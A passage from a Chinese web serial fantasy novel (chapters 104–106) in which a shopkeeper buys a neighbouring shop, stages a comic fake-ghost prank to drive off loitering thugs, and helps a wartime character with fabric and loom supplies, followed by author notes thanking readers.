我的运气也很好，想什么来什么，比如我现在就很想拥有你们的营养液（拼命暗示） 感谢读者“青衣ゾ”,灌溉营养液 +20 感谢读者“陈小晓”,灌溉营养液 +5 感谢*读者“ninomi”,灌溉营养液 +5 感谢读者“熙妍”,灌溉营养液 +5 104 第104章 ◎店铺扩张◎ 刚动了扩大店铺的念头,隔壁189号立刻出售商铺，连带着院子一起卖。 萧妧妧惊喜地捧起脸颊，不敢相信自己的运气如此之好。 A4纸才贴上去，萧妧妧当即冲上去揭了它。 “大哥,您的铺子打算卖多少钱？” 被撇在身后的彩毛青年抓狂,无力感包裹着他们,死死盯住萧妧妧。 “你要买啊？你和老板联系吧,我是租来做生意的，喏,这家奶茶店就是我加盟的，现在不做了,老板一时半会找不到人接手，正打算卖掉呢。” Polo衫男人苦笑着回应萧妧妧。 萧妧妧抬头瞥一眼店铺：“生意这么差吗？” 男人打量萧妧妧,这才想起来她是隔壁小卖部的老板，之前为了店铺装修打过几次交道。 “半死不活吧,之前每个月能赚点本钱,最近都是在倒贴,扛不住了,早点关门还省点人工成本。” 萧妧妧想到了方爷爷家的古玩店,也是因为入不敷出决定停业。 前几天去银行办事，临近街巷的生意惨淡的吓人，一点也不像是热门旅游城市该有的面貌。 城区的状况已经算是不错的，往外城走,曾经繁华的商圈，商铺关了一家又一家,到处在招租转租出售。 “现在买的话正合适,大环境太差了,能压压价，尤其像这样的商铺，根本不好卖。”POLO衫大哥最后总结道。 萧妧妧苦着脸附和：“可不是，小卖部生意太差，这才想着买间铺子租出去，多少是点进项。” 或许她的借口太蹩脚，男人摇摇头，一副看冤大头的神态。 他要是有钱，宁愿烂在手里，买回去租不出去有什么用。 果然是年轻人，有冲劲。 萧妧妧指了指189号，笑得和善：“大哥，能让我先进去看看吗？正好方便我和老板商量价格。” POLO衫男人很随和，拉开门主动邀请她进去。 被彻底无视的彩毛青年气笑了，她倒是管管他们啊！ 绿毛青年呸了一声，一屁股坐回台阶上，咬牙决定今晚上点手段，生意搅黄不算，最好以后也没人敢上门。 萧妧妧进了189号才发现，临街商铺的实际面积比她预估的要大不少，和188号差不太多。 为了配合奶茶店需求做出大小不一的分区，从正面看只有柜台和工作台，以及七八套桌椅，因此看起来比较小。 而在这些区域以外，还隔出十几平当做员工区，再后面又是一个十几平材料摆放区。 以上划在商铺里，包含在一百平内，出了商铺是连通的院子。 院子五十平左右，意料之中的小，房间比想象的多。 厨卫齐全，配了仓库一间，不知道具体用处的空房间两间。 萧妧妧进来转了一圈，满意的不得了，观察的同时已经想好要在哪里开一道门，打通188和189号的院子。 至于商铺，她也有了点想法，脑子转得飞快。 回到小卖部，萧妧妧第一时间给189号的房东打电话，表明来意。 房东语气不善的接通电话，冷不丁听到萧妧妧要买下189号，愣了一会，话音温和些许，表示可以马上约中介一起面谈。 萧妧妧看一眼时间，动作快些，天黑之前能谈妥，如果再顺利一点，以当下的政务工作效率来看，甚至走完流程都不是问题。 她抓紧时间查看月牙巷商铺的房价，不看还好，一看吓一跳。 曾经将近8万一平的热门商圈铺面，如今对半砍都不止。 189号连铺子带院子一起买下，一共209平，其他杂费暂且不提，按照当下房价，大约要付810万。 APP已经上架了189号的出售信息，售价比同街其他铺子略低些，800万。 萧大明当初为了买回188号，可是卖了两套拆迁房，向银行两贷了两百多万，又找亲戚借了不少，前后一共花出去千万之多。 买回来后因为房租高，没人租，张芸算完一笔账后，气不打一处来，每回和萧大明吵架就要翻出这事。 这么多年过去了，连闹市区的月牙巷都跌了将近一半。 按照一年房租四十万算，至少要二十年才能回本，难怪说不好租不好卖。 萧妧妧确实赚了点钱，但她并不想当冤大头，疯狂搜集信息用来讨价还价。 认认真真准备了好半天，结果人刚坐下，直接亮出底价。 “一口价745万，你看行不行吧，行的话我马上签字，不行算了。” 房东是一个五十多岁的中年男人，大约是心中有气，说话语气生硬。 中介笑着解释：“前面约了个客人，还价太离谱，咬死700万，这不把大哥给气着了。 您放心，不是针对您，745万是大哥的底线，咱们不绕弯子了，市场什么样大家心里清楚。” 萧妧妧傻眼，鼓足的气一下子泄了。 她的预期是750万左右，如果卖家和善好说话，萧妧妧想砍到740来着。 745万不便宜，相比附近几户出售的带院商铺而言，非常划算了，比她设定的价位还要低一些。 价格和位置一切刚刚好，萧妧妧没什么不满意的，当即点头应下。 中介大喜，立刻掏出文件夹，开始走流程。 傍晚时分，萧妧妧回到小卖部门口时，手里多了一本不动产证书。 开业没多久，不倒闭小卖部扩大了，升级成plus版。 顺利得萧妧妧走路有点发飘，琢磨哪天有空买张彩票试试。 对上彩毛青年们的幽怨视线，她好心情的笑着点头打招呼，径直进了店铺。 奶茶店在等人上门回收机器，柜台桌椅要卖掉，萧妧妧最迟下周可以开始装修。 钱多烧得慌，萧妧妧竟然挑选起装修风格，后来想起自己开的是小卖部，不需要什么花哨装修，遗憾地放弃。 打掉木板墙，重新刷漆购买货架和收银柜台，差不多就能营业了。 重点在后院的几间房，厨卫乱糟糟，必须重新改造换新，房间挺宽敞，可惜充作杂物房，一股潮味，粉刷清理必不可少。 有爱丽丝和孟甜甜在，厨房恐怕会需要经常开火，倒是不愁装修完会闲置。 前前后后都是不小的工程，如此一来，哪怕采用最环保的材料，真正投入营业估计要到下月。 时间不是问题，萧妧妧担心工人进进出出，影响她和异世界客人的正常生活，万一再把院子里的家具摆件磕了碰了，又是麻烦事。 是的，小卖部早不是以前的小卖部了，院中大半家具换上了龙傲天送来的名贵货。 楠木的圆几，乌木的桌子，黄花梨的椅子，紫檀木的柜子，错落摆放在院中各处。 【请打开‘我的’—‘店铺’—‘用户店铺’—‘不倒闭小卖部’—‘店铺升级’—‘扩张店面’，选中目标纳入经营范围后，基础店面所开启功能自动覆盖新店面。 返回‘店铺升级’，进入‘改造’程序，可为店铺进行美化、装修、设计、加固等功能。 注：基础功能免费提供，解锁更多装修方案、设计图纸为付费功能，需扣除交易件数：D】 萧妧妧为难的时候，系统贴心的跳出来引导，解决了一桩烦心事。 悠闲躺回沙发，兴致勃勃地摸索改造功能，不停欣赏各种风格的装修方案，只等189号彻底搬空，闭店，便可以动工。 每一个项目都有不同的建造时间，必备的改造计划列出来计算一番，萧妧妧惊喜发现，三天时间可以全部搞定。 多余的时间正好借着装修的由头封闭店铺，过上一阵子咸鱼生活。 萧妧妧越是盘算越是兴奋，也不觉得系统收费昂贵了。 操作复杂了点，但功能齐全；规则多了点，但维护卖家权益；升级困难了点，但新功能实在逆天。 萧妧妧像是在玩一个模拟经营游戏，只管和客人交易就好，其他系统托底。 脑子里胡思乱想一番，大概构思出铺子的格局和摆设，天色恰好擦黑。 伸头瞄一眼，彩毛青年们惦记她的大客户，到现在还兢兢业业地守在店门口呢。 一想到他们要面临什么，萧妧妧就忍不住耸动肩头嘿嘿笑。 有点可惜，如果全员到齐一定更有意思。 七点左右，订购的蔬菜瓜果送来了，十数种尺码的男女款布鞋也送来了，萧妧妧忙着清点验货，忙了许久。 孟甜甜见时间差不多，扛着电锯回去杀尸。 萧妧妧眼疾手快拉住她，把先前为苏娇娇准备的一些道具递过去。 “辛苦了，用上它们效果会更好。” 孟甜甜扒拉一下东西，再想象一下那个画面，看一眼门外的几人，噗呲一声笑出来。 “我明白了，交给我吧。” 上次恶作剧不用负责任还是小时候，孟甜甜难免有些激动。 萧妧妧在脑子里走完一遍流程，确保不会闹出大问题，继续整理物资。 苏娇娇是在她忙得差不多时进来的，熟门熟路找地方坐下。 萧妧妧瞥一眼身形就能辨认出她来，熟稔搭话。 “布料齐了，家禽齐了，米面和种子早准备好了，你那里要等多久？” 苏娇娇拘谨的开口：“安排了三艘船，路上盘查要耽搁几天，倒是不着急，我这次来是想比对一下料子。” 一般说来，交给萧妧妧采购的东西，苏娇娇很少再去检查核对，但这回的情况不一样，她不得不小心一些。 白天，负责后勤的赵大姐从别处弄来了几十米青色土布，苏娇娇去瞧了一眼，看到疏松粗糙的布料，心里咯噔一下。 心里记着事睡不踏实，索性熬到夜深人静的时候，苏娇娇锁上房门，披着睡衣来找萧妧妧商量。 “想什么办法？是布料不对吗？” 萧妧妧一凛，紧皱眉头翻出一卷青灰色麻布，抖落开，查看布料到底哪里有问题。 当时采购匆忙，视频里粗略看过一眼，颜色对得上，材质没问题，当即下单，隔天送达。 萧妧妧手里留着样布，到货的时候特意比对过，肉眼看色差确实有一些，但那边条件有限，想来不介意这点色彩。 至于布料质量，在萧妧妧看来，送来的实物比样布好不少。 “我瞧着……没什么问题啊。” 萧妧妧挠头，布料递给苏娇娇请她再确认一遍。 苏娇娇拿着灯端详，又贴上肌肤感受，原本的五分担心，如今变成了八分。 她不禁犯愁，食物好糊弄过去，布料可怎么解释？ “娇娇姐，有什么问题你说吧，现在挽救来得及。” 看她拧着眉头思索，萧妧妧跟着着急，连声催促。 苏娇娇正打算开口，孟甜甜回来了。 “萧老板，你看我这样行吗？” 苏娇娇一扭头，冷不防撞上血淋淋的场面，心脏骤停一瞬。 等她认出拘束的血人是孟甜甜，头上顶着眼熟的长发套，身上披披挂挂的白布她也曾穿过，苏娇娇拍拍胸口，长舒一口气。 “你们这是有什么计划了？”她好奇问。 萧妧妧快速交待一遍前因，在苏娇娇了然的目光中，笑得贱兮兮。 “老办法，吓唬吓唬他们。” 苏娇娇眼底闪过狡黠光芒，上前一步，申请加入。 “我也来帮忙！” 【作者有话说】 感谢读者“南歌子”,灌溉营养液 +1 感谢读者“小露珠”,灌溉营养液 +9 感谢读者“无言的风”,灌溉营养液 +2 感谢读者“青衣ゾ”,灌溉营养液 +20 感谢读者“禾”,灌溉营养液 +15 感谢读者“momo”,灌溉营养液 +5 感谢读者“要长高”,灌溉营养液+1 105 第105章 装神弄鬼什么的,最有意思了，苏娇娇欣喜加入。 问题来了，孟甜甜扮鬼，她需要做些什么呢？ 苏娇娇望了望她,打算给点建设性意见,扮鬼她熟得很。 审视检查的目光扫过孟甜甜身上染了血迹的布条,身上背着的电锯,手里提着……那是什么？ “咳咳，担心你们接受不了,我用塑料袋遮挡一下，正式行动的时候会摘下来。” 孟甜甜注意到两人的目光纷纷挪到手中,为她们着想，贴心地藏在身后躲开她们的视线。 萧妧妧嘘一口气,幸好她想得周到，否则没吓到彩虹男团,先把自己人吓坏了。 苏娇娇见她们的表情有异,一时间顾不上布料,好奇追问：“里面是什么？” 孟甜甜微微笑：“脑袋,丧尸的脑袋。” 苏娇娇立即皱起脸,目光不断往她手里的重物瞟过去。 对脑袋不感兴趣，但是她没见过丧尸，确实想看一眼。 萧妧妧瞅一眼外面轮流去吃饭，这时正剔着牙回来的黄毛,招招手，示意孟甜甜和苏娇娇靠近,商量细节。 三人凑在一起嘀嘀咕咕,因为受不了孟甜甜身上浓重的腥臭,另外两人全程捂着嘴鼻。 孟甜甜委委屈屈，抱着膝盖缩小存在感，听萧妧妧安排。 月亮爬上夜空，蝉鸣取代鸣笛，成为街巷的唯一噪音来源，此时已是深夜十点。 在没有夜生活的城市，十点基本看不见多少行人，街道两边的商铺陆续关灯，拉上卷帘门。 萧妧妧站在门边，举着电话，赔着笑脸。 “张老板您放心，多晚来我都等，您可是VIP大客户，回回在我店里消费几百万，我们当然是跟着您的时间走。” “好嘞好嘞，您路上小心，不着急。现在路上没人没车，您进了城直接过来，绝对不堵。” “快到了您给个电话，我出来接您。” 小卖部门口一侧，等得不耐烦的几人互相递了递眼神，打起精神。 他们等萧妧妧嘀咕着进了小卖部，绿毛青年走到门边向内里张望。 “吹牛逼吧？回回几百万，也没见把小卖部搞得多豪华。” 黄毛探头，看一眼萧妧妧的动静，不以为意接话：“说不准呢，里面有个古董铺，昨儿不是有人进去拎着东西出来吗？估计真不少赚。” “哥，我倒是不关心她赚多少，咱们的钱真能拿回来吗？” 绿毛轻斥：“以前守一个月两个月也没见你们心急，等着呗，看看今天怎么说。” 粉毛青年抹了一把汗：“不是啊哥，过两天40°了，能不急吗？我怕中暑。” 黄毛青年附和地点头，是啊，不怪大家心急，大夏天的太折磨人了，尤其小卖部老板还不把他们当回事，弄得他们越来越沉不住气。 绿毛叹气：“今晚看看情况，要是把事情办成了，等闹起来，店里能砸的全砸了。 注意点，可别去古董铺，回头真让咱们赔到底，大老板不认账怎么办？” 绿毛青年耳提面命，恨不得现在就能找着借口去店里闹一场，完成任务赶紧回去快活快活。 几人叼着冷饮，百无聊赖地等待时机到来。 五分钟、十分钟、半小时…… 眼看着等到了11点，路上连遛狗的人都没了，大家心急不已。 粉毛青年怀疑大顾客是不是从后门进去了，同伴偷懒没堵住，刚起来活动活动顺带看店里情况，小卖部啪一下灭了灯。 身后店铺没了光，藏在树荫里的路灯显得越发昏暗，几人奇怪地扭头。 “哥，是不是耍咱们玩呢？你看，都关门下班了！”黄毛青年跳起来喊。 粉毛嘲笑一声，说：“傻子，你自己看，人家大门还开着呢。” 感应门不知为什么早早敞开，那位萧老板接完电话进去后便没关上过。 黄毛青年心思一动：“反正都要砸，要不趁停电了，咱们进去先动手给个下马威？” 绿毛青年没忍住，一巴掌抽过去：“果然是个傻子，抢劫叛多少年你不知道啊？又想进去吃牢饭了？” 黄毛讪讪地捂着头，不敢吱声。 粉毛耳朵一抖，走近一些，侧着脑袋听了一会。 “哥，里面有人唱曲呢。” 绿毛气得翻白眼：“唱你爹的曲，大半夜哪来的……” “妹妹背着洋娃娃，走到花园去看花。娃娃哭了叫妈妈……①” 女声柔婉，唱着温馨悠扬的小调，声音忽高忽低。 绿毛青年面色一顿，“瞎咋呼，哄小孩的歌没听过啊？” 粉毛青年搓了搓胳膊，困惑地说：“可是……哥，你们不觉得鬼里鬼气的吗？谁家小孩听这玩意睡觉？再说了，这声音也不像那个萧老板的啊。” 黄毛抖机灵：“店里也没小孩。” 绿毛被两人气得无话可说，刚要抬脚踢他们，小卖部唰一下亮了灯，黄毛粉毛一抖。 “跳闸而已，瞧你们那点出息。”绿毛青年摆摆手：“别给我找借口，老实守着，今晚非把人等来不可！” 粉毛青年挠头，可是真的很阴森啊。 “咦……怎么不唱了？” 黄毛继续抖机灵：“要收费了呗，切下一首。” 说话间，小卖部又一次灭了灯。 黄毛青年都懒得回头看，说：“这闸怎么跳来跳去。” 这一次，灯光很快亮起，又很快灭掉，闪闪烁烁。 而配合着灯光闪烁，是断断续续的悠扬小调，灯光一灭，小调响起，灯光一亮，小调消失。 黄毛青年摸了摸鸡皮疙瘩，嘟囔道：“大半夜，是怪吓人的，肯定是音箱断电造成的。” 他打开手机手电筒，好让光源稳定一些，让自己的心脏也安稳一些。 然而刚固定好手机光源，黄毛青年注意到台阶下抖动的阴影。 黄毛心里跟着一抖，等他发现抖动的阴影是粉毛的裤腿，气恼地吼了一声：“大峰！你抖什么，吓得我……” 抱怨一句，黄毛拍拍心口，刚要和绿毛告状，就听啪嗒一声，粉毛手里的冰棍掉在地上，黏腻液体飞溅到胳膊上。 黄毛忍无可忍，想要好好教训教训他，一抬头，却看到正面朝着小卖部大门的粉毛，此刻一脸呆滞，脸色惨白。 “呜啊！有鬼！” 没等黄毛问他怎么了，粉毛颤抖着大吼一声，连滚带爬地狂奔。 绿毛抽烟抽到一半，听见两兄弟咋咋呼呼，想要发脾气，一转身，正撞见灯光明明灭灭的小卖部。 收银台前的过道有一团阴影，似乎有人。 绿毛冷哼一声，怕不是有人装神弄鬼吧？不经吓。 抱着审视心态，绿毛青年想看看萧妧妧到底弄了个什么玩意，把他兄弟吓得魂都快没了。 他听着幽幽的小调，迈上台阶，没能跨过感应门，绿毛倏然僵住。 小卖部门口正中央的位置，果然有一个人。 面容白净，是个眼生的陌生女人。 一头滴着血水的长发散成一圈，几乎呈扇形铺在瓷砖上，白衣服染了大片血迹，腥臭味扑面而来。 仔细看，女人脚下是一滩流动的血水。 画面太过冲击，见多识广的现代人猛地一惊，踉跄两下才能想到是NPC扮演。 绿毛并不觉得是见鬼了，好整以暇地欣赏着，看看她还能变出什么花样。 他拉来颤巍巍的黄毛，一起堵在门口，等她露出破绽。 女人目光呆滞，面上仍旧笑吟吟，她掏出身后的腐烂的人头，手上的匕首规律地插进去，拔出来。 绿毛青年闭了闭眼，暗示自己一切都是幻想。 人头什么的，以现代技术轻易可以仿造出来，里面挤满粘稠物，再撒一点血，效果可以做到十分逼真，不算什么。 绿毛青年吞了吞口水，舔舔唇，进拽着黄毛的胳膊，说：“演得挺像那么回事，可惜哥们什么场面没见过？” 黄毛不知道是说服自己还是说服谁，抹了一把汗，猛点脑袋，“假的假的，全是假的。” 两人互相依靠，胳膊差点掐出青痕。 草，做得也太逼真了吧…… 恰在这时，幽幽的小调转为尖利笑声，两人不约而同头皮发麻。 绿毛强撑着说：“来了来了，下一出戏来了。” 深吸一口气，绿毛鼓足勇气，艰难地睁开一条缝。 女鬼站了起来，留下意味深长的笑，缓缓转身。 绿毛激动不已，暗道一句果然如此。 “三鬼你看，她走了！哈哈哈哈，演不下去了吧？呸，拙劣的演技。” 黄毛一听，马上睁开眼睛，果不其然看见女人转身的动作。 他立刻来劲，得意嘲笑萧妧妧粗陋的计划。 “想吓哥哥，萧老板再多看几部片子吧。” “就这？就这？真没劲。” “萧老板，要不要我们给你出出主意啊？” 绿毛和黄毛自觉识破了萧妧妧的“鬼”计，嚣张极了。 正在这时，小卖部啪一下，灯光全灭。 绿毛哈哈大笑：“呦，萧老板不认输，这是还想继续演？” 黄毛笑得贱兮兮，抱着胸口说：“哎呦，好怕啊，萧老板求求你放过我们吧~嘎嘎嘎嘎。” 笑声中，只听砰的一声，然后哗啦啦一阵响。 绿毛笑得更放肆了，阴阳怪气关切道：“哎呦喂，不会是撞着哪了吧？萧老板可得小心点。” “啪” 灯光亮起，小卖部货架竟然倒了一片，几罐八宝粥慢悠悠滚到血水中央，继续向前，直到铛的一声，撞在柜台边缘。 难怪刚才动静不小。 绿毛啧啧出声，扫一眼一片狼藉的小卖部，乐不可支。 “萧老板，你这招早有人用过了，放弃吧。”黄毛吆喝。 “啪” 灯光在他们说话时全灭。 绿毛已经不耐烦了，来来回回这两招，真没意思。 只是不到两三秒，白炽灯泡闪烁几下，店铺重新变得亮堂堂。 看清小卖部全貌后，挑衅、嘲讽、看好戏的笑声戛然而止。 “啪”，灯光灭。 女人抱在怀里的人头骨碌碌滚来，好巧不巧停在感应门边，距离两人半米不到，血腥味浓厚。 “啪”，灯光亮起。 那颗腐烂严重的脑袋随着光明出现，消失不见，血腥味仍留在鼻尖，微风拂过后，再闻不到一丝，仿佛幻觉。 两人像被掐住命运脖颈的小鸡仔，颤颤巍巍，慌慌张张，目光从感应门一点点向后挪。 货架整齐排列，商品齐全又干净，滚过血水的八宝粥静静摆放在架子上。 而过道上那一大片血迹、女人走动时淅淅沥沥低落的血点、匕首拔出人头飞溅出来的粘稠物…… 通通消失了。 在灯光亮起又暗下的瞬间，通通消失！ 他们面前，是一间整齐、明亮、散发烤肠香气的普通便利店。 “啊！萧老板求求你放过我们吧！” 黄毛绿毛崩溃了，身子一软，瘫倒在地。 ……………… 躲在暗处的孟甜甜长嘘一口气：“还好你有准备，不然我真不知道怎么演。” 苏娇娇抠出一颗润喉糖塞进嘴里：“幸好没吓出好歹。” 孟甜甜骄傲：“我克制着呢，故意露出破绽了。” 萧妧妧嘿嘿笑：“看吧，我说他们没那么容易吓到。” 她没指望几个道具能把人吓跑，都是现代人，谁没看过几个鬼故事、玩过恐怖游戏，再有多年的科学教育打底，阈值比古代人高出一大截。 幸好有一键清理和一键整理功能，弥补了粗糙的“鬼”计。 平时嚷嚷着怕鬼，真遇见了，大家只会掏出各种科学方法证明鬼不存在，唯物的很。 可再唯物的人，遇见亲眼所见且科学无法解释的诡异场面，总归是害怕的。 把他们当鬼子整，确实有点对不起了。 萧妧妧示意孟甜甜回去洗漱，拍拍苏娇娇胳膊，请她稍等一会。 想到什么，她着重提醒孟甜甜，记得把丧尸脑袋扔回末世位面。 孟甜甜二话不说，提着脑袋噔噔噔跑到结界边，胳膊抡半圈，甩得远远的。 萧妧妧满意了，整理整理衣服，努力憋住笑，脸上表现出茫然样子走到门口。 “没过年呢，怎么急着给我磕头啦？” 好心情不会消失，只会转移，现在轮到她，双手环胸，好整以暇地欣赏他们的狼狈姿态。 绿毛眼神呆滞，察觉到人影闪现，恐惧再次袭来，“嗷”一嗓子叫出声，捂住脸，身体下意识一抖。 黄毛同样一惊，呜咽着扎进好兄弟的怀里，不敢抬头。 两人抱在一起抖得厉害，嘴里叽里咕噜，说得好像是“阿弥陀佛”“祖宗保佑”“急急如律令”。 萧妧妧实在没憋住，噗呲一声笑出来。 两人迟钝反应过来，好像是萧妧妧，小卖部的老板。 他们试探着睁开眼睛缝，确认是活生生的人，还是他们打过交道的萧妧妧，紧绷的神经终于断了，趴在地上大喘气，眼泪不自觉溢出。 呜呜呜，吓死人了！ “萧老板，您可别吓我们了，我们真的错了。” 两人缓了好一会，结结巴巴求饶，仿佛下一秒就要大声哭出来，他们宁愿相信是萧妧妧做的手脚，也不愿意把脑海中的画面与鬼怪挂钩。 萧妧妧装傻：“吓你们？我什么时候吓你们了？你们有什么错啊。” “行了别啰嗦，赶紧下班吧，我要关门回家睡觉呢。”她故作不知，岔开话题：“真是的，竟然放鸽子，害我等大半天。” 她抱怨几句，锁上感应门后气哼哼离开，好像真的在为客户失约一事不满。 黄毛想叫住萧妧妧别走，他们害怕，但恐惧情绪上头，嘴巴跟不上，支吾好一会说不出完整句子。 黄毛吓得抬手遮住眼睛，哆哆嗦嗦地望向漆黑小卖部，好半天才确定不会再突然闪烁灯光。 黄毛长舒一口气，脊背微躬，彻底瘫坐下来，汗湿的宽松骷髅黑T瞬间紧黏在肌肤上。 不知道在什么时候吓出了一身冷汗，明明是潮热的夏日，四肢却冰冰凉，僵硬得不像话。 黄毛面色发青，抱紧好兄弟，要哭不哭地说：“我们不会真见鬼了吧？” 绿毛吞了吞口水，没说是，没说不是。 乱糟糟的小卖部不可能在一两秒内变得整齐，所以…… 绿毛甩开脑子里的血腥画面，咬牙道：“不，一定是我们中暑了。” 黄毛迟疑片刻，咬着发颤的牙根，重重点头。 “对，是我们的幻觉！” 没人愿意相信自己见鬼了，比起见鬼，还是眼花了更合理些。 否则漫漫长夜，他们怎么睡得着？ 黄毛抹了抹脸上的汗水泪水鼻涕水，声线发飘：“哥，咱们赶紧走吧，这地方我待不下去，我心里发毛啊。” 绿毛颤巍巍说：“我倒是也想走。” 两人齐齐低头，看到不争气直抖动的双腿，沉默了。 ………… 萧妧妧不知道这一招好不好用，反正出气了，没再搭理外面两人。 她一蹦一跳地回到后院，苏娇娇等在院中。 布料的事说到一半中断，正好趁着这会没人把问题解决，苏娇娇可以安心，萧妧妧也能放心。 “你看，虽然同样是棉麻布，样布的织数要低些，不如新买的布料。” 苏娇娇将两块布料摊平，担心萧妧妧不懂看布料，拿来手电筒从底下打光，方便她理解。 一对比，萧妧妧立刻明白她的意思。 所谓织数就是织物密度，不同机器、工业水平、纤维种类，织成的布料密度不同。 灯光一照上去，一块布透光严重，经纬线粗细不一，不够齐整，多洗几次就薄了，这是样布。 另一块布则密实许多，摸在手里结实又柔软，透气性也不差，这是采购来的新布。 两者肉眼可见的差距。 “应该是织布机的原因。”苏娇娇懊恼叹气：“抱歉，当时太着急，忘记和你说了。” 萧妧妧挠头：“是我的问题，我也把这事给忘了。” 光顾着找厂商买布，两人都忽略了细枝末节。 两个时代相隔百年时光，纤维种类和生产水平完全不在一条线上，厂家口中的粗劣麻布再怎么说也要比苏娇娇拿来的样布更加优质一些。 萧妧妧一听有苏娇娇需要的麻布棉布，颜色一样，材质一样，她下意识以为是相同的东西，没能多问几句，着急忙慌的下单。 苏娇娇手里有织布厂，管过布料生意，因此能看出差距，知晓其中的利害。 如果她没能发现区别，傻乎乎送去部队，让其他人看出来，再顺着查下去，苏娇娇的秘密迟早暴露。 “可问题是，这批布不行的话，换什么布送来都一样。”萧妧妧沉思一会解释：“现代技术先进，采用的都是自动化设备，生产的是高织数布料。你们那里目前是手工为主，或许有半机械设备，但技术有限，织数根本达不到。” 苏娇娇心凉了半截，苦恼道：“这可怎么办？我已经承诺要送去一批布……借口倒是好找，只是我不忍心大家失望。” “结果是好的就行，布料你拿去照常送。 旁人如果起疑，你就说采购了新机械，所以产量和质量大大提高。 万一有人好奇想看一眼，你就说被鬼子的特工给毁了！ 对！把锅甩敌人身上。” 萧妧妧随口一说就找到了解决办法，兴奋地拍大腿，苏娇娇闻言连连点头。 萧妧妧继续道：“有一个更好的法子，你说，我要是把机器一起给你弄来，那问题不就彻底解决了？” 太过落后的老旧机器不一定好找，但是纺织行业的博物馆肯定有保存，她出钱请人仿制几台送过去难度不大。 在以人工织布为主的年代，拥有一台半机械化的织布机意味着什么，苏娇娇最清楚不过。 愁闷一扫而空，她激动地起身，双手紧攥在一起，来回踱步。 “好主意！”苏娇娇畅想：“我可以找组织申请一个安全的地方，把机器送过去，专门生产布料，再请人缝制作战服。” 萧妧妧喜滋滋提议：“老式缝纫机我可以提供，这回绝对不收钱。娇娇姐可以告诉组织，远在海外的同胞萧女士心系祖国，无偿捐赠。” 顿了顿，她又嘀咕道：“只捐赠这么点不好看，我得再想想添点什么东西。” 苏娇娇踱步的速度逐渐加快，计划渐渐成型。 “按我说的办，缝纫机、织布机，我通通以你的名义捐出去，到时候别人问我机器哪来的，*我就说从我的海外好友萧女士那里买来的，他们还能查到海外去不成？” 两人凑在一起嘀嘀咕咕，越说越兴奋，好半天才商量妥当，补足漏洞。 苏娇娇安心了，脚步轻快的回去睡觉。 萧妧妧放心了，浑身轻松地离开。 第三天，萧妧妧特意绕到小卖部门口转一圈。 按理说到了他们的上班时间，前后门却没看见彩虹男团的身影。 事实证明，装神弄鬼这招挺好用的，偶尔用一次效果立竿见影。 但凡他们敢传出小卖部撞鬼的消息，萧妧妧可以马上起诉他们造谣、恶意竞争。 毕竟他们明晃晃地守着小卖部好几天，扰乱商户运营，左右邻居和来往的街坊、以及消费过的顾客可以作证。 外卖恰好送到，给爱丽丝发出提醒，无事一身轻的萧妧妧放心地锁上大门，蹦跶着来到路口。 今天是周六，她和黎行聿约好了要去看一位老藏家的私人收藏展。 【作者有话说】 ①歌词 万字更新做不到，5000字可以努努力~今天有5800字！ 二次编辑：修改后有6000字啦！ 提醒：写文看文只图爽，现实生活请不要随便装神弄鬼吓唬人，真的会吓死人！ 感谢读者“”,灌溉营养液 +1 感谢读者“ninomi”,灌溉营养液 +10 感谢读者“ninomi”,灌溉营养液 +5 感谢读者“大大很帅”,灌溉营养液 +3 感谢读者“火场追凶-俞sir”,灌溉营养液 +10 感谢读者“木昰”,灌溉营养液 +1 感谢读者“祈笙”,灌溉营养液 +15 106 第106章 ◎鬼工球◎ 浓郁绿荫笼罩了老城区的车道,车辆不停歇经过，行人步履匆忙。 萧妧妧赶到约定的路口，无需张望，远远便看见榕树下的清爽身影。 黎行聿双手插兜,姿态松弛,一身浅色衣裤虽然看不到logo,但凭做工和裁剪而言,绝对不便宜，衬得他越发出众。 个高腿长脸俊,路过的男女老少无不侧目，闯了红灯都不知道,喇叭声惊醒他们才后怕的退几步。 萧妧妧停止了跳脱的蹦跶，改为正常走路姿势,加速靠近后，停在离他一米远的距离,拘谨地打招呼。 “我是不是来迟了？” 听到声音,黎行聿深邃冷漠的脸像照见阳光,抬头直直望过来时,瞬间明媚了,脸上带着温和笑意。 明明是差不多的表情，神态一转变，好像变了个人似的。 她一下子联想到了半夜和她一起撸狗的邻居黎行聿，顿感亲切。 “不会,是我习惯早到。”黎行聿抬手，邀请她上车。 车子停在街边,这次又换了一辆,依然是她不认识的豪车。 萧妧妧收回目光,迈步跟上，这时注意到，他手腕上戴着上回送给他的玳瑁手串。 为了搭配手串，衬衫的袖口同样换成了玳瑁，陪着浅米色的衣裤，既显得年轻，又能彰显出沉稳可靠的气质。 “玳瑁果然更适合你。”留意到穿搭上的小细节，萧妧妧眼前一亮，诚挚夸赞。 她举起手腕，展示自己的玳瑁手串，惋惜摇头：“我戴着就不如你戴得好看。” 萧妧妧想，一定是她太年轻，气质不够稳重，不管是低调的玳瑁象牙，还是高调醒目的帝王绿鸽血红，好看归好看，戴在她身上却没有气势。 黎行聿的目光落在她腕间，同样是玳瑁，她手上的是长串，在腕上绕了三圈，略显深沉的色泽衬得肌肤莹润白皙。 “很好看，戴在你手上很合适。”笑意加深，黎行聿语气认真的回应。 哪怕知道他在说客气话，萧妧妧听在耳朵里也很高兴。 自从当上古董铺老板，时不时面对客户，萧妧妧放弃了舒适的白T大裤衩，放弃了最爱的辣妹穿搭以及漂亮小裙子，整天穿着文雅的棉麻裙子和简约的新中式套装，装得文绉绉的。 这次看展是继夜爬之后唯一的外出活动，萧妧妧当然是挑自己舒服的状态来，所以打扮的稍微正常了点。 百褶短裙配紧身T，和其他年轻女孩没什么两样，只在出门后发现手串忘记摘下，整体看过去，有一点不和谐。 萧妧妧在为这点不和谐心里闹别扭，看到黎行聿后，她忽然意识到不止是手串，全身上下都不太合适。 就像和朋友出去逛街，一人时髦得像是参加时装周，另一人像是下楼扔垃圾。 黎行聿穿得正儿八经的，显得她不正经了，风格差距太大，走在一起怪怪的，她会不自在。 萧妧妧看来看去，只有忘记摘下的手串看起来能为她增长一点年纪。 黎行聿的一句肯定，萧妧妧安定许多。 她嘿嘿笑：“其实我也觉得挺好看的，特别出片。” 展馆在南奇山脚下，距离景区五百多米左右，周末早上过去，堵车是必然。 黎行聿担心她无聊，提前拿来了展览的册子，光是藏家信息、展品信息等，够她看许久。 萧妧妧囫囵翻了一遍，诧异道：“展品竟然有1000件！” 这得多厚的家底啊，1000件呢。 黎行聿顺势介绍：“冠华的孟董是老藏家，这1000件藏品里有他个人收藏，也有他妻子的，更多的是家里留下来的。” 萧妧妧秒懂，原来是家底厚，难怪。 